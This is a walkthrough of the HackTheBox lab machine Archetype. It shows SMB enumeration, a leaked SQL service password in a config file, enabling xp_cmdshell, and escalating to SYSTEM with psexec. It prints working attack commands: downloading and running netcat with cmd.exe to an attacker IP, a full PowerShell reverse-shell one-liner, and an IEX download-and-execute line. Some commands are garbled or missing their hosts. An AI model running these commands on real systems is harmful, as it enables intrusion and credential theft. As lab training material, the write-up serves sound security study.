Archetype - HackTheBox Writeup

Starting with the writeups, today we will launch the HackTheBox Archetype machine that belongs to the Starting Point group here the writeup.



We’ll start with a simple port scan with nmap:

kyb3r@cipher ~: nmap -sV -sC
Starting Nmap 7 ( )
Nmap scan report for
Host is up (0.10s latency).
Not shown: 996 closed ports
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: ARCHETYPE
|   NetBIOS_Domain_Name: ARCHETYPE
|   NetBIOS_Computer_Name: ARCHETYPE
|   DNS_Domain_Name: Archetype
|   DNS_Computer_Name: Archetype
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-08-17T19:53:47
|_Not valid after:  2051-08-17T19:53:47
|_ssl-date: 2021-08-17T19:59:07+00:00; +24m21s from scanner time.
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h48m21s, deviation: 3h07m51s, median: 24m20s
| ms-sql-info: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb-os-discovery: 
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: Archetype
|   NetBIOS computer name: ARCHETYPE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-08-17T12:58:59-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-08-17T19:58:57
|_  start_date: N/A

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 31.16 seconds

SQL Server

We can notice that it contains a SQL Server which we are going to access with smbclient.

We will list the smb folders with:

smbclient -L \\ -N

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	backups         Disk      
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
SMB1 disabled -- no workgroup available

We will access the “backups” folder with:

smbclient -N \\
Try "help" to get a list of possible commands.
smb: \>


The file prod.dtsConfig contains:

        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>



The file contains some credentials which we will use with the impacket mssqlclient, if you use Kali Linux you can get it from /usr/share/doc/python3-impacket/examples/ or you can download it from its github repo with:


or with Kali Linux:

cp /usr/share/doc/python3-impacket/examples/ .
When you have mss, start session to the server with the credentials obtained in prod.dtsConfig with:

kyb3r@cipher:~$ python3 ARCHETYPE/sql_svc@ -windows-auth

Password: M3g4c0rp123 Impacket - Copyright SecureAuth Corporation

[] Encryption required, switching to TLS [] ENVCHANGE(DATABASE): Old Value: master, New Value: master [] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [] INFO(ARCHETYPE): Line 1: Changed database context to ‘master’. [] INFO(ARCHETYPE): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (140 3232) [!] Press help for extra shell commands SQL>


### xp_cmdshell
Now we will enable xp_cmdshell ("Spawns a Windows command shell and passes in a string for execution") to gain Remote Command Execution (RCE) with the following commands/codes:
EXEC sp_configure ‘Show Advanced Options’, 1;
EXEC sp_configure ‘xp_cmdshell’, 1
xp_cmdshell “whoami”

When the SQL console returns, it means that we have done it correctly:

SQL> xp_cmdshell whoami






Reverse shell

with netcat (recomended)

First obtain a copy of netcar for windows in case of using Kali/Parrot you can do it by executing:

cp /usr/share/windows-binaries/nc.exe .

Or you can download it from the official Kali repository.

Then we will start an http server.

with python3 (recomended):

python3 -m http.server

with python2:

python2 -m SimpleHTTPServer

Now put netcat in listening mode you can see how to do it in the part “netcat in listening mode”.

xp_cmdshell "powershell wget -UseBasicParsing http://YOUR IP/nc.exe -OutFile %temp%/nc.exe"
xp_cmdshell "%temp%/nc.exe -nv YOUR IP 443 -e cmd.exe"

with powershell script

Now we will create a file reverse shell with the extension .ps1 for powershell here the code:

$client = New-Object System.Net.Sockets.TCPClient(YOUR IP,443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + # “;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Remember change “Your IP” text for u Hack The Box VPN ip adress, example: /posts/archetype-htb-writeup/reverse_shell.png Then we will start an http server.

with python3 (recomended):

python3 -m http.server

with python2:

python2 -m SimpleHTTPServer

Now put netcat in listening mode you can see how to do it in the part “netcat in listening mode”.

Then download that shell in SQL with the following command:

xp_cmdshell "powershell "IEX (New-Object
Net.WebClient).DownloadString(\"http://YOUR IP/shell.ps1\");"

netcat in listening mode

To have netcat in listening mode you must execute: /posts/archetype-htb-writeup/netcat-listering.png

ln -lvnp 443


If you have a firewall, you must disable it or add rules for ports 443 and 80 with the commands:

ufw allow from proto tcp to any port 80,443
Now you can continue in the type of connection you chose.

User flag

The user (ARCHETYPE/sql_svc) banner is on the desktop at home.

Privilege Escalation

To obtain the administrator credentials we will exploit the history or log of the powershell this is located in the user’s home in the path: C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

To see the content of the file we execute:

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Root flag

Login with administrator user with psexec.

python3 administrator@
Impacket - Copyright SecureAuth Corpotation


[*] Requesting shares on
[*] Found writable share ADMIN$
[*] Uploading file uTkahtBM.exe
[*] Opening SVCManager on
[*] Creating service uwOG on
[*] Starting service uwOG......
[!] Press help for extra shel commands

Microsoft Windows
(C) Microsoft Coporation. All rights reserved.

nt authority\system


The admin banner is on the desktop at home.


Comming soon…

To see the complete series “Starting Point” from HackTheBox click here.